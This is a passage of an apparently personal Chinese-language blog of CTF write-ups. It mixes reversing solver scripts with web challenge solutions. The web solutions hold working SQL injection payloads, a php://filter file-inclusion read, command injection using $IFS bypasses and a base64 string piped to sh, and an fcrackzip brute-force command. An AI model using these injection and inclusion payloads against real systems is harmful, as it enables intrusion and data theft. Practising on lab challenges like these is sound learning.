for (i=0; i<256; i++) {
j=(j+s[i]+k[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}

void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len) //加解密
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for(k=0;k<Len;k++) {
i=(i+1)%256;
j=(j+s[i])%256;
tmp = s[i];
s[i] = s[j]; //交换s[x]和s[y]
s[j] = tmp;
t=(s[i]+s[j])%256;
Data[k] ^= s[t];
}
}
int main(){
uint8_t key[5];
key[0] = 71;
key[1] = 75;
key[2] = 67;
key[3] = 84;
key[4] = 70;
uint8_t sbox[256];
uint8_t data[] = {0x2d, 0xd4, 0xf, 0xd0, 0x54, 0xee, 0x75, 0xd0, 0xe0, 0x30, 0x96, 0xe1, 0x79, 0x8a, 0xe0, 0xfe, 0x18, 0x3a, 0x27, 0xe7, 0x2f, 0x86, 0xc9, 0xfe, 0x66, 0x43, 0xa7, 0x75};
rc4_init(sbox,key,sizeof(key));
rc4_crypt(sbox,data,sizeof(data));
char f[] = "flag";
for(size_t i=0;i<sizeof(data);i++){
data[i]-=128;
printf("%d\n",data[i]^f[i%4]);
data[i]^=73;
}
printArray("flag",data,sizeof(data));
printf("%s\n",data);
return 0;
}

看答案发现动调和非动调情况下比对数据完全不同,应该是哪里做了手jio

就在上面,我瞎了

[rev]Crackme6

  1. 先检查pediy2016
  2. 长度为0x14
  3. 写反汇编jio本
  4. 先是一些常量计算
  5. 接下来三个 水仙花数
  6. 接下来是一个二元一次方程,解得1223
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
import hashlib
from z3 import *

opc = [1, 0, 2, 0, 3, 0, 150, 0, 32, 33, 10, 0, 41, 1, 43, 1, 39, 246, 255, 129, 20, 33, 4, 0, 0, 1, 46, 18, 0, 128, 1, 99, 2, 9, 139, 0, 32, 33, 4, 0, 0, 1, 111, 42, 1, 139, 0, 32, 33, 4, 0, 0, 42, 1, 139, 0, 32, 33, 4, 0, 0, 1, 108, 42, 1, 139, 0, 32, 33,
4, 0, 0, 1, 46, 3, 1, 20, 0, 128, 1, 49, 42, 1, 139, 0, 32, 33, 4, 0, 0, 11, 0, 32,
41, 208, 8, 69, 69, 27, 42, 1, 11, 0, 32, 41, 208, 8, 69, 69, 27, 42, 1, 11, 0, 32,
41, 208, 8, 69, 69, 29, 45, 29, 45, 27, 2, 13, 11, 0, 32, 41, 208, 65, 100, 42, 1, 17, 0, 32, 43, 208, 67, 10, 45, 42, 1, 17, 0, 32, 43, 208, 45, 29, 133, 33, 4, 0, 0,
1, 46, 3, 2, 20, 0, 128, 42, 1, 11, 0, 32, 41, 208, 65, 10, 42, 1, 17, 0, 32, 43, 208, 45, 27, 42, 1, 17, 0, 32, 43, 208, 67, 10, 42, 1, 11, 0, 32, 41, 208, 48, 30, 4,
45, 66, 4, 67, 2, 47, 129, 35, 38, 18, 0, 130, 94, 38, 13, 0, 1, 46, 3, 3, 20, 0, 128, 39, 4, 0, 0, 2, 0, 1, 0, 3, 46, 152, 0, 128, 38, 5, 0, 41, 1, 42, 1, 130, 4, 38,
244, 255, 129, 4, 38, 4, 0, 153, 0]

locs = [4203214, 4202753, 4202797, 4202842, 4202887, 4202903, 4202919, 4202935, 4202952, 4202968, 4202985, 4203054, 4203134, -1, 4203219, 4203289, 4203370, 4203440, 4203521, 4203590, 4203670, 4203750, 4203820, 4203901, 4203971, 4204052, 4204093, 4204133, 4204173, 4204254, 4204213, 4204294, 4204335, 4204453, -1, -1, -1, -1, 4204558, 4204376, 4204448, 4204663, 4204712, 4204763, 4204814, 4204835, 4204856, 4204878, 4204901, 4204923, 4204946, 4205020, 4205105, 4205190, 4205266, 4205353, 4205429, 4205516, 4205603, 4205712, 4205821, 4205909, 4206019, 4206107, -1, 4206217, 4206266, 4206319, 4206372, 4206393, 4206414, 4206436, 4206459, 4206481, 4206504, 4206578, 4206665, -1, 4206752, 4206830, 4206919, 4206997, 4207086, 4207173, 4207282, 4207391, 4207479, 4207589, 4207677, -1, -1, -1, -1, -1, -1, -1, -1, 4207787, 4207836, 4207887, 4207938, 4207959, 4207980, 4208002, 4208025, 4208047, 4208070, 4208144, 4208229, -1, 4208314, 4208390, 4208477, 4208553, 4208640, 4208727, 4208836, 4208945, 4209033, 4209143, 4209231, -1, -1, -1, -1, -1, -1, -1, -1, 4209341, 4209428, 4209516, 4209604, 4209638, 4209672, 4209706, 4209741, 4209775, 4209810, 4209896, 4209993, -1, 4210090, 4210177, 4210275, 4210362, 4210460, 4210546, 4210643, 4210740, 4210827, 4210925, 4211012, 4211107]
eip = 0

cpu = [0,0,0,0]
tmp=0
# vm_dh是flag
# tmp=0x2000的话是input
while eip<len(opc):
s=''
op = opc[eip]
op1=0
op2=0
op3=0
if eip+1<len(opc):
op1 = opc[eip+1]
if eip+2<len(opc):
op2 = opc[eip+2]
if eip+3<len(opc):
op3 = opc[eip+3]
tmp=op1+op2*16
if op>153:
break
loc = locs[op]
print('%02x:%03X:%x:'%(eip,op,loc),end="")
if op==0x0:
s='exit\n'
eip+=1
elif op==0x1:
s='mov vm_al,%d'%(op1)
eip+=2
elif op==0x2:
s='mov vm_ah,%d'%(op1)
eip+=2
elif op==0x3:
s='mov vm_bl,%d'%(op1)
eip+=2
elif op==0x04:
s='mov vm_al,vm_ah'
eip+=1
elif op==0x08:
s='mov vm_bl,vm_al'
eip+=1
elif op==0x0b:
s='mov vm_al,[vm_ip+%xh+vm_ah]'%(tmp)
eip+=3
elif op==0x11:
s='mov vm_bl,[vm_ip+%xh+vm_ah]'%(tmp)
eip+=3
elif op==0x12:
s='mov [%xh+vm_ip],vm_al'%(tmp)
eip+=3
elif op==0x14:
s='mov [vm_ip+%xh+vm_ah],vm_al'%(tmp)
eip+=3
elif op==0x1b:
s='push vm_al'
eip+=1
elif op==0x1e:
s='pop vm_ah'
eip+=1
elif op==0x1d:
s='pop vm_bl'
eip+=1
elif op==0x21:
to = tmp&0xff
if to>0x7f:
to-=0x100
s='jz %xh'%(to+eip)
eip+=3
elif op==0x26:
to = tmp&0xff
if to>0x7f:
to-=0x100
s='jnz %xh'%(to+eip)
eip+=3
elif op==0x27:
to = tmp&0xff
if to>0x7f:
to-=0x100
s='jmp %xh'%(to+eip)
eip+=3
elif op==0x29:
s='add vm_al,%d'%(op1)
eip+=2
elif op==0x2a:
s='add vm_ah,%d'%(op1)
eip+=2
elif op==0x2b:
s='add vm_bl,%d'%(op1)
eip+=2
elif op==0x2f:
s='add vm_ah,vm_bl'
eip+=1
elif op==0x30:
s='add vm_bl,vm_al'
eip+=1
elif op==0x2d:
s='add vm_al,vm_bl'
eip+=1
elif op==0x41:
s='mul vm_al,%d'%(op1)
eip+=2
elif op==0x42:
s='mul vm_ah,%d'%(op1)
eip+=2
elif op==0x43:
s='mul vm_bl,%d'%(op1)
eip+=2
elif op==0x45:
s='mul vm_al,vm_bl'
eip+=1
elif op==0x81:
s='test vm_al,%d'%(op1)
eip+=2
elif op==0x82:
s='test vm_ah,%d'%(op1)
eip+=2
elif op==0x85:
s='test vm_al,vm_bl'
eip+=1
elif op==0x8b:
s='test vm_al,[vm_ip+%xh+vm_ah]'%(tmp)
eip+=3
elif op==0x96:
s='test vm_ah,[vm_ip+%xh+vm_bl]'%(tmp)
eip+=3
elif op==0x98:
s='test vm_bl,[vm_ip+%xh+vm_ah]'%(tmp)
eip+=3
elif op==0x99:
s='success'
eip+=1
else:
s='nop'
eip+=1
print(s)

[rev][FlareOn1]Javascrap

看html看了大半天,原来猫腻在图片中

二进制打开图片,最后有一段php代码,然后无限base64套娃就解出来了

[rev][MRCTF2020]VirtualTree

被骗了555

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

typedef struct TreeNode{
int8_t data;
struct TreeNode*left;
struct TreeNode*right;
} TreeNode;
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}
signed int sub_401120(TreeNode**treeHead)
{
TreeNode *v1[15]; // [esp+0h] [ebp-48h]
TreeNode *v2; // [esp+3Ch] [ebp-Ch]
int i; // [esp+40h] [ebp-8h]
int j; // [esp+44h] [ebp-4h]

for ( i = 0; i < 16; ++i )
v1[i] = (TreeNode *)malloc(12);
for ( j = 0; j < 16; ++j ){
v1[j]->data = j + 65;
}
v1[0]->right = v1[1];
v1[0]->left = v1[2];
v1[1]->right = v1[3];
v1[1]->left = v1[4];
v1[2]->right = v1[5];
v1[2]->left = v1[6];
v1[3]->right = v1[7];
v1[3]->left = v1[8];
v1[4]->right = v1[9];
v1[4]->left = 0;
v1[5]->right = v1[10];
v1[5]->left = 0;
v1[6]->right = v1[11];
v1[6]->left = v1[12];
v1[7]->right = 0;
v1[7]->left = 0;
v1[8]->right = 0;
v1[8]->left = v1[13];
v1[9]->left = 0;
v1[9]->right = 0;
v1[10]->right = v1[14];
v1[10]->left = v2;
v1[12]->left = 0;
v1[12]->right = 0;
v1[11]->left = 0;
v1[11]->right = 0;
v1[13]->left = 0;
v1[13]->right = 0;
v2->left = 0;
v2->right = 0;
v1[14]->left = 0;
v1[14]->right = 0;
*treeHead = v1[0];
}
void postTraverse(TreeNode*head){
if(head){
postTraverse(head->left);
}
if(head){
postTraverse(head->right);
}
if(head)printf("0x%x,",head->data);
}
void diyBit(uint8_t *data,uint32_t a1,uint32_t a2){

for(size_t i=0;i<=a2;i++){
data[i]^=a1;
data[i]=data[i]<<(8-a2)|data[i]>>a2;
for(size_t j=1;j<15;j++){
data[i]^=data[j]&0xDF;
}
}
}
void reDiyBit(uint8_t *data,uint32_t a1,uint32_t a2){
if(1){
for(size_t i=a2;i<a2+1;i--){
for(size_t j=1;j<15;j++){
data[i]^=data[j]&0xdf;
}
data[i]^=1<<i%8;
data[i]=data[i]>>(8-a2%8)|data[i]<<a2%8;
data[i]^=a1;
}
}
}
uint8_t sub(uint8_t a1,uint8_t a2){
return a1-a2;
}
uint8_t xor(uint8_t a1,uint8_t a2){
return a1^a2;
}
uint8_t absSub(uint8_t a1,uint8_t a2){
if(a1>a2){

}
}
void sub_4016F0(uint8_t *data){
data[15] = sub(data[15],2);
data[14] = xor(data[14],data[15]);
data[12] = absSub(data[12],data[2]);
data[11] = xor(data[11],data[12]);
data[10]=absSub(data[10],data[7]);
data[9] = absSub(data[9],data[8]);
data[8] = xor(data[8],data[7]);
data[7] = sub(data[7],3);
data[6] = absSub(data[6],data[1]);
data[4] = xor(data[4],data[5]);
data[3] = absSub(data[3],data[7]);
data[2] = sub(data[2],7);
data[1] = xor(data[1],data[2]);
data[0] = sub(data[0],10);

}
int main(){
// TreeNode*head;
// sub_401120(&head);
// postTraverse(head);
// printf("\n");
uint8_t xorData[] = {0x4d,0x4c,0x47,0x50,0x4f,0x4b,0x46,0x43,0x4a,0x45,0x4e,0x49,0x48,0x44,0x42,0x41,0};
printf("%s\n",xorData);
uint8_t cmpData[] = {0x17, 0x63, 0x77, 0x3, 0x52, 0x2e, 0x4a, 0x28, 0x52, 0x1b, 0x17, 0x12, 0x3a, 0xa, 0x6c, 0x62, 0x0, 0x0, 0x0, 0x0};
cmpData[0]-=10;
cmpData[12]=cmpData[2]-cmpData[12];
cmpData[11]^=cmpData[12];
cmpData[2]-=7;
cmpData[9]=cmpData[8]-cmpData[9];
cmpData[8]^=cmpData[7];
cmpData[10]=cmpData[7]-cmpData[10];
cmpData[7]-=3;
cmpData[3]=cmpData[7]-cmpData[3];//test
cmpData[15]-=2;
cmpData[14]^=cmpData[15];
cmpData[4]^=cmpData[5];
cmpData[6]=cmpData[1]-cmpData[6];
cmpData[1]^=cmpData[2];
for(size_t i=0;i<16;i++){
cmpData[i]^=xorData[i];
}
printf("%s\n",cmpData);

char s[] = "1234567890123456";
for(size_t i=0;i<16;i++){
s[i]^=xorData[i];
}
printArray("test",s,16);
return 0;
}

[web][SUCTF 2019]EasySQL

注入时发现三种情况

  1. 单纯输入数字:输出固定值
  2. 加个引号导致语法错误:无输出
  3. 尝试注入1’ and 1=1 #:输出NoNoNo

说明后端存在对于关键字的检测

可以直接使用fuzz字典+burpsuite测试后端过滤了哪些关键字。注意burp的线程不要太高,否则无法访问

公开代码可以看到关键查询语句为

1
select $post['query']||flag from Flag

要尝试让||不是逻辑或

1
set sql_mode=PIPES_AS_CONCAT;

这个模式下||就是管道模式,把前后查询的拼接在一起,而不是或运算符

payload为

1
1;set sql_mode=PIPES_AS_CONCAT;select 1

还有个解*,1,相当于select *,1

[rev][极客大挑战 2019]Secret File

  1. 通过抓包抓到了secr3t.php
  2. 尝试了直接访问flag.php和文件包含flag.php都不行
  3. 原来不论文件包含还是直接访问,得到的都是flag.php执行之后的结果
  4. 通过php://filter获取文件结果
    file=php://filter/convert.base64-encode/resource=flag.php
  5. base64解码获得flag

这里是php的文件包含漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>

<body style="background-color:black;"><br><br><br><br><br><br>

<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>

<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{49f63fd5-1b25-4904-9029-eb8dd71b352b}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>

</html>

[web][极客大挑战 2019]LoveSQL

手工注入步骤

确认存在注入点
1’ or 1=1 #

1’ and 1=0 #

字段数
1’ union select 1,2,3 #

数据库名
1’ union select 1,2,database() #

表名
1’ union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database() #

这里有两张表geekuser l0ve1ysq1

列名
1’ union select 1,group_concat(column_name),2 from information_schema.columns where table_name=geekuser#

然后就可以找到flag

[web][护网杯 2018]easy_tornado

访问hints.txt发现获取flag的方式,但是获取不到secret_cookie

  1. 访问welcome.txt, 有个render,暗示使用python的render
  2. 可以报错注入,error?msg=
  3. 得到secret_cookie之后得到flag

[web][GXYCTF2019]Ping Ping Ping

  1. ip=127.0.0.1 是ping命令
  2. 加||,空格会fuck your spaces
  3. 使用ip=127.0.0.1;ls 可以查看所有文件
  4. 看答案空格可以用$IFS$1代替
  5. flag.php不让看,index.php可以查看
  6. 发现有个a变量,可以变量替换?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
  7. echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh //通过base64
  8. ip=127.0.0.1;cat$IFS$10ls // ls即取ls的结果

[rev][SWPU2019]EasiestRe

父子进程问题

  1. 找到main函数
  2. 发现进行了fork,然后判断父子进程,子进程就输出,父进程等待调试事件
  3. 子进程求长度之后int3,父进程得到int3之后判断nop数量,然后写入内存
  4. 4个nop:直接继续执行
    7个nop:写入v65
    30个nop:写入v64
  5. 得到长度是0x18
  6. 通过SEH链实现验证逻辑
1
2
3
4
v65 = [0x90,0x83,0x7d,0xf8,0x18,0x7d,0x11]
addr = 0x408af8
for i in range(addr,addr+7):
patch_byte(i,v65[i-addr])
1
2
3
4
v64 = [0x90,0xF,0xB6,0x55,0xF7,0x8B,0x45,8,0x8B,4,0x90,0xF,0xAF,0x45,0xFC,0x33,0xD2,0xF7,0x75,0xF8,0xF,0xB6,0x4D,0xF7,0x8B,0x45,0xC,0x89,0x14,0x88]
addr = 0x408824
for i in range(addr,addr+30):
patch_byte(i,v64[i-addr])

好家伙一个小错误弄一个小时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

typedef struct TreeNode{
int8_t data;
struct TreeNode*left;
struct TreeNode*right;
} TreeNode;
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}
void init(int32_t *a1,int32_t *a2){
for(size_t i=0;i<8;i++){
a2[i]=a1[i]*41%0x1eb;
}
}
int32_t v10[8];
int32_t v19[8];
char check(uint8_t f,int32_t target){

int8_t ch[8]={0};
int32_t sum=0;
for(size_t i=0;i<8;i++){
if((1<<i)&f){
ch[i]=1;
sum+=v19[7-i];
}
}
if(sum==target)return 1;
return 0;
}
int main(){
v10[0] = 2;
v10[1] = 3;
v10[2] = 7;
v10[3] = 14;
v10[4] = 30;
v10[5] = 57;
v10[6] = 120;
v10[7] = 251;
init(v10,v19);
int32_t v8[24];
v8[0] = 977;
v8[1] = 752;
v8[2] = 82;
v8[3] = 1141;
v8[4] = 466;
v8[5] = 752;
v8[6] = 548;
v8[7] = 1308;
v8[8] = 1254;
v8[9] = 671;
v8[10] = 750;
v8[11] = 923;
v8[12] = 1017;
v8[13] = 811;
v8[14] = 754;
v8[15] = 1461;
v8[16] = 588;
v8[17] = 1114;
v8[18] = 844;
v8[19] = 1389;
v8[20] = 10;
v8[21] = 1254;
v8[22] = 1142;
v8[23] = 729;

int32_t start =0x1234;
int8_t flag[25]={0};
for(size_t i=0;i<24;i++){

for(uint8_t j=0x20;j<0x7f;j++){
uint8_t f;
if(i==0){
f=j^0x34;
}else{
f=j^(v8[i-1]&0xFF);
}
if(check(f,v8[i])){
flag[i]=j;
break;
}
if(j==0x7e)flag[i]=' ';
}
printf("%d %s\n",i,flag);
}
return 0;
}

[misc]二维码

  1. 二维码图片,扫出来 secret is here

  2. 二进制查看,发现 number4.txt

  3. binwalk走一波,出来个加密zip

  4. 看答案,原来number4暗示密码是4个数字,使用fcrackzip爆破

    fcrackzip -b -c1 -l 4 文件名

找到一堆可能的密码,7639是

[rev][NPUCTF2020]EzObfus-Chapter2

  1. 里面有个很多层调用的函数
  2. 本来想用调试方法爆破,可是总是出个访存异常mmp
  3. 看答案,顺便学一下angr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import hashlib
import base64
# from z3 import *

from angr import *

p = Project('./EzObfuse_Chapter2.exe',auto_load_libs=False)

state = p.factory.blank_state(addr=0x4164f8)
simfd = state.posix.get_fd(0)
data,real_size = simfd.read_data(22)
state.memory.store(0x42612c,data)
state.memory.store(0x426020,data)
simgr = p.factory.simulation_manager(state)
simgr.one_active.options.add(options.LAZY_SOLVES)
simgr.explore(find=0x416609,avoid=0x4165ea)

print(simgr.one_found.solver.eval(simgr.one_found.memory.load(0x0042612C,22),cast_to = bytes))

这道题也可以用qiling框架做,debug也可以,改天再试试

[rev][RCTF2019]DontEatMe

迷宫问题

  1. 使用固定种子随机生成迷宫
  2. 对用户输入做一些变换,作为步输入进迷宫
  3. 通过debug打印迷宫
  4. 起点为5,10
  5. 最终需要所处的点为0最终位于9,4,总步数不超过17,大概就是中间那条线

对于输入的变换

  1. base16解码
  2. 对于每解码后的每8个Byte,分成两组4Byte,每个byte16轮变换,中间两个常量通过debug得到
  3. 调试器可以更改数据显示类型以更好地复制
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hashlib
import base64
# from z3 import *

# print maze
a = [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]

for i in range(0,len(a),16):
print(a[i:i+16])

c1 = 0xc12083c0
c2 = 0x6809dce2
c3 = [0xCDC56A63,0x4EC090F1,0x21EDD1DA,0xC270CEF2,0x2FED34D7,0x83DF5638,0xD5C182D5,0xBF870104,0x99CC5FB9,0xEDA87ED6,0x3250667D,0x4D98EE5D,0x1F2F3443,0x4BCDEF38,0x0FA6E01C,0xDDDDA728]

v53 = [0x459FC5A5,0x7FC789F4,0xFBB675AB,0x65917E7D,0xF90902DF,0xAF945AF7,0xA87034DA,0x3AABD494,0x504E015E,0xC96E5B77,0xAFD7CF57,0x2A1948B5,0x7BF2E1AF,0xE89075ED,0x5C0DB5C6,0x6C90C3F3,0x397E24DD,0x262E0C48,0xEBD8BF12,0xA439AC9E,0x791C72BB,0xB7076160,0xAA545E52,0x7D55F11C,0xE9ADA6B6,0x32EAD595,0xC94C2B14,0x2E0BBD9F,0x9AA1A601,0xD02F0B5D,0xD0699D06,0x16A4F9CC,0x2AAA9A3B,0x3507293E,0x82F618CE,0xD8303DDA,0x5E0CB782,0x1AC22EEF,0x5E7FF8F4,0x26CEFC03,0xCDDFBBA8,0x55D80628,0xD5EC1A46,0x1E00E511,0x9B46FC6E,0x2DB1E6E0,0xCBDF9395,0xE00B33D9,0x5A43D50F,0x447DE041,0xC58E5C38,0x1763413E,0x7FE9B647,0xC37B0FB2,0x27A2B087,0x8037A85E,0xF47FEA64,0x592A892F,0xECAD7E7F,0x886AD0FB,0x17B545E7,0xBFB8CD9D,0x5206FAEC,0x205AC34F,0xB9112B48,0x8F64D407,0xA76EBC2F,0x238C306D,0x56D18B07,0xE442447F,0xC0AEB75F,0x8D7ADFDA,0x39872D01,0x07247AE8,0x59DBD0F4,0x985B4AF0,0x09EA38B5,0x9C104491,0x3B135C6D,0xC69E7858,0xE65022F0,0xD9943FF4,0xAABEDF0A,0xB66814B1,0x1F927210,0x9961DD03,0x4BCDC827,0xBB14DD9F,0x40FE24C3,0x5B7FE695,0xB332F95C,0x065262E3,0x2926942D,0x9E53F796,0x7DBFAA45,0x355B70ED,0x672DFA65,0xC5D715B0,0xD885410D,0x5DEA7836,0xD5EA8A92,0xF14E1A6A,0xA02AB37D,0xF5EC3E46,0x9B2D3B45,0xA45D8759,0x5656AC15,0x45001507,0xD0CA4495,0x5C9B0A9A,0xBA41CC1A,0x5B6B7192,0x5B5B0296,0xEB62D7F8,0x63E052B8,0x5E7F661A,0x15F54EB2,0x32BC0DC1,0x757F8AC1,0x4000E44A,0x4C7C3F6D,0x035152D7,0xB215A2FA,0xECF8F423,0x368A6EFB,0xB705DD1F,0xB0EA07D4,0xB6DC6BC9,0x37F9F551,0xF9B6703A,0x7C12AA99,0xA82E5C89,0xC4ABD951,0x0BB24942,0x5106CDF4,0xD20ACB1F,0x0B06A021,0xF5721C2C,0xDC6D6A4D,0xB416E5DB,0x051A2E03,0xE619C398,0x59E2A278,0x75AE0501,0x33DF6E1D,0x7F5F8F1D,0xD3B09DFA,0x5CCEF854,0x353A9751,0x28CDF4C3,0xFA84DF8A,0xB77937F6,0x89DEF60E,0xEF104A33,0x73A9B332,0xA2B958D4,0xB7F11FAE,0xAB10382B,0x610507CB,0xC2494EB2,0x38B0E08C,0xB45BE251,0xB6C9324D,0x50A16213,0xE10FA30C,0xE08F5DA5,0x222F5327,0xF3B44C04,0x01822F6D,0xEC8D1AFB,0x0E77C8F3,0xB94AD1F2,0x7EC184CB,0x8F24309C,0x6BCEE4CF,0xD73B45D7,0x497F0CCD,0x31A6DC74,0x33769D5B,0xD0FAAD9C,0x93247C0E,0xEF989638,0x639429F7,0x347B185A,0xAB662E53,0xADB55832,0x460EAECB,0x4CFF4967,0x32983144,0xBE7C9F6A,0x6572690F,0xB6A44EC6,0x296B626B,0x6F84AC06,0xA4109176,0x09696DA0,0xCF01E53A,0xA2C947B3,0x05018011,0x3C422118,0xC0B3B8FC,0x974DB30E,0x6CAFF180,0x5ED053FF,0x7586923B,0xD18AD289,0x6ADDD492,0x181D1549,0x8565132A,0x11B56CC7,0xFE064E6F,0xED2CEFC0,0x8861E9CF,0x35DE598F,0x1852B4BC,0x5E58E9F7,0xC1EBF4F6,0x006A1A68,0xD6970D50,0x94153D1C,0xC3913B30,0x81CCDFDF,0x4BDA28AF,0xE47E5EF7,0x9EBC1A89,0x3FFD9A1B,0xE6E81C84,0x579CBD80,0x540CDE20,0x3D03D046,0xB30BD041,0x1B47C861,0xB12E9CFB,0xEB89F014,0xD9370AE3,0x80087376,0x65D3550C,0x6E4CDBB7,0x235D3750,0x99B3B43E,0x38FFABD3,0x75C8BC8A,0xFEFA00F1,0xDD8F7F38,0x42DBF66F,0x606BC6B0,0xD00CA499,0xF6BC1178,0x85C2C6BD,0x2DF5F445,0x6BB5EB11,0x8027805B,0xFE6ABACD,0xA782A5C7,0xA5F5B40A,0xAC3F2CA5]
v54 = [0x3B928883,0xA954448B,0xFD81975A,0x59BE145A,0xCE903CCA,0x636CE1F9,0xF1B92DCC,0x2B255DFA,0xF24D3C82,0x391B2517,0x03D670DB,0x5D630DD8,0x50D515CB,0xD21AF9C3,0xC92B08CD,0x9157B9AC,0xB51E501C,0x362812DC,0xBE36DBCB,0x6CB41118,0x61CA6755,0xE477CA36,0xB3DDA664,0x06665D16,0x5B83FA2C,0xF4797850,0x10D61B1C,0xD82BC254,0x17D8A560,0xC281F6A5,0xEC3AE828,0x2905C224,0xD4FE451A,0x43744CEB,0x5E474E9C,0x749BFACD,0xD054E526,0x162C850D,0x72A714E9,0xFE46AC10,0x3487BC05,0x2C8AEA43,0x9E3F2FF8,0x2F0E5C23,0xD3E784C8,0x8E20D985,0x3DA8DF49,0x63AD4B53,0x7C9B3978,0x4FED2F4E,0x252C0D9C,0x5AC1BCBB,0xB4273B2F,0x06F2009C,0x5A5DD8F1,0x59F768E0,0xAC518815,0x2B8F713F,0x2AFD2285,0x0A88492D,0x703974BB,0xE61EBE48,0xEBD57CD3,0xF03CB920,0xB014F855,0x40BB0D0C,0xFABEFE58,0x28E5D18C,0x08CF8517,0x203372AE,0xDF4C9D0C,0x8C387224,0x9213FA25,0x1BE46332,0xE9E8FA1F,0xC5130557,0xFD632B81,0xD7137EAF,0xD1751BF9,0x1ECDB40D,0x04D3ACC6,0x3B3C44CC,0x126F70C6,0xAE14D8DE,0x09249A6B,0x8E602082,0x94EBCD7B,0x93EA6071,0x87CB1D04,0xE48BC7BD,0x6E86AB4B,0x736314FE,0x4F0D819A,0x6A4FA2DE,0xF2284933,0x2FD58EF7,0x1E19833E,0x48AA62F7,0x4A9D931D,0x82BAEBBD,0x22BC1AEE,0xE02E5E94,0x76E42B6E,0x21169B3B,0x78410E1C,0x366D3DBB,0xF7B7AC7B,0x5C12F29C,0x4E271BE5,0x4BAA9AB7,0x2724BF08,0x492AC28F,0x06AD0F63,0xED6B287D,0xEDBCBA48,0x3384877C,0xECBBC030,0xB82E3B2A,0x92160A7C,0xF23874C3,0x75E84887,0x6A2107D4,0xAB01A6E8,0x7232BDA4,0x219FAD2D,0xE016178A,0x61F22009,0x5850B00D,0xC69FEF72,0x79908C67,0x17A0173B,0xC2F925AC,0x560B1C81,0xADF339C4,0x38E19FB8,0xE41D5795,0xCE3A4B81,0x7F152D4B,0x4B238BFC,0x04FC5592,0x5465AC3B,0x3845BF97,0xA658D9F2,0x47E82467,0x986593C9,0x1191C0CB,0x147CC08